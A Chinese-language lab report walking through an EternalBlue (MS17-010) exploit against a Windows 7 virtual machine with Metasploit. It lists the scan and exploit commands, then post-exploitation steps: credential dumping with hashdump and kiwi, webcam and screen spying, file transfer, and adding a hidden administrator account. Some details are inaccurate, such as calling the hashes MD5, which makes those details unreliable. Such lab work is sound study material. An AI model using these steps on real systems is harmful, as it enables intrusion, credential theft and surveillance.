永恒之蓝实验报告

前言

  • 实验主题:永恒之蓝渗透测试复现
  • 实验背景:永恒之蓝是在2017年4月14日晚由黑客团体 Shadow Brokers(影子经纪人)公布的一大批网络攻击工具,其中包含“永恒之蓝”工具。永恒之蓝利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。5月12日,不法分子通过改造永恒之蓝制作了 wannacry 勒索病毒,在全世界多个高校、大型企业和政府机关传播,被勒索支付高额赎金才可以解密恢复文件

基本信息

  • 软件:Vmware Workstation pro
  • 攻击机:kali-linux
  • 靶机:Windows7
  • 工具:Metasploit、Nmap
  • 使用漏洞:MS17-010

Metasploit 术语

  • Exploit(渗透攻击):指攻击者利用系统、应用或服务的漏洞进行的攻击行为。常见的渗透攻击包括缓冲区溢出、SQL注入、XSS等。
  • Payload(攻击载荷):指我们希望靶机在被攻击后执行的代码,在 Metasploit 框架中可以自由的选择、传送和植入。
  • ShellCode:指渗透攻击时作为攻击载荷一部分的一组机器指令,通常用汇编语言编写。
  • Module(模块):Metasploit 框架中所使用的一段软件代码组件。
  • Listener(监听器):用来等待接入网络连接主机的组件。

关于 MS17-010 漏洞

  • 漏洞描述:MS17-010是2017年发现的第十项漏洞,是 Microsoft Windows SMB Server 远程代码执行漏洞。Microsoft Server Message Block 1.0(SMBv1)服务器处理某些请求时,在实现上存在远程代码执行漏洞。攻击者成功利用该漏洞后可以在目标服务器上执行任意代码。如果攻击失败,也会导致拒绝服务,对业务造成一定安全风险。
  • 漏洞环境:
    • Microsoft Windows Server 2016
    • Microsoft Windows Server 2012
    • Microsoft Windows Server 2012 R2
    • Microsoft Windows Server 2008
    • Microsoft Windows Server 2008 R2
    • Microsoft Windows RT 8.1

实验复现:

学习

配置环境

渗透测试

  • 打开 kali 虚拟机,打开 Terminal
  • 输入 sudo su 并输入密码进入 Root
  • 输入 ifconfig 查看本机网络状态。此处主要是产看本机 ip,用户后续设置 nmap 查询 和设置 host
  • 输入 nmap -T4 -A -v -Pn {ip},此处 {ip} 为 ifconfig 查询的本机 ip 将最后一节改为网段格式
  • 查询到目标机的端口和ip后,记录目标ip
  • 输入 msfconsole 搜索并启动 Metasploit msf 模块
  • 在 msf 指令框输入 search ms17-010 查询我们需要的漏洞
  • 在搜索到的条目中,输入 use 0 选择第一条(Payload),进入 Payload 设置
  • 输入 set lhost {ip},此处 {ip} 是通过 ifconfig 查询的攻击机 ip
  • 输入 set rhost {ip},此处 {ip} 是通过 nmap 扫描出来的靶机 ip
  • 输入 run,msf 模块会自动对目标机器进行攻击
  • 如果攻击成功,我们会进入 metasploit> 命令行

攻击成功后,攻击者可以对靶机造成的危害

  • 输入 shell 拿取目标机器Shell,就可以进入目标机器命令行,执行任意操作
  • 输入 screenshot 截取屏幕快照
  • 输入 getuidhashdump 获取靶机用户名和MD5加密的密码
  • 输入 load kiwi 使用 kiwi 模块,输入 creds_all 获取目标用户和密码信息
  • 输入 upload {origin file path} {target file path} 上传文件到靶机,其中 {origin file path} 指的是文件在攻击机的路径位置,{target file path} 指的是文件在靶机存放的路径位置
  • 输入 download {target file path} {download file path} 下载文件到本机,其中 {target file path} 指的是文件在靶机的路径位置,{download file path} 是我们要下载到本机的文件路径
  • 输入 webcam_list 查看摄像头
  • 输入 webcam_sanp 通过摄像头拍照
  • 输入 webcam_stream 通过摄像头开启视频
  • 在 Shell 输入 chcp 65001 修改靶机编码机制
  • 输入 screenshare 对靶机进行屏幕监控
  • 在 Shell 中使用 net 模块添加用户并设置为管理员
    • 通过 net user hacker 123 /add 添加一个名为 hacker 密码为 123 的用户
    • 通过 net localgroup administrators hacker /add 将 hacker 设置为管理员
  • 重启靶机,发现用户添加成功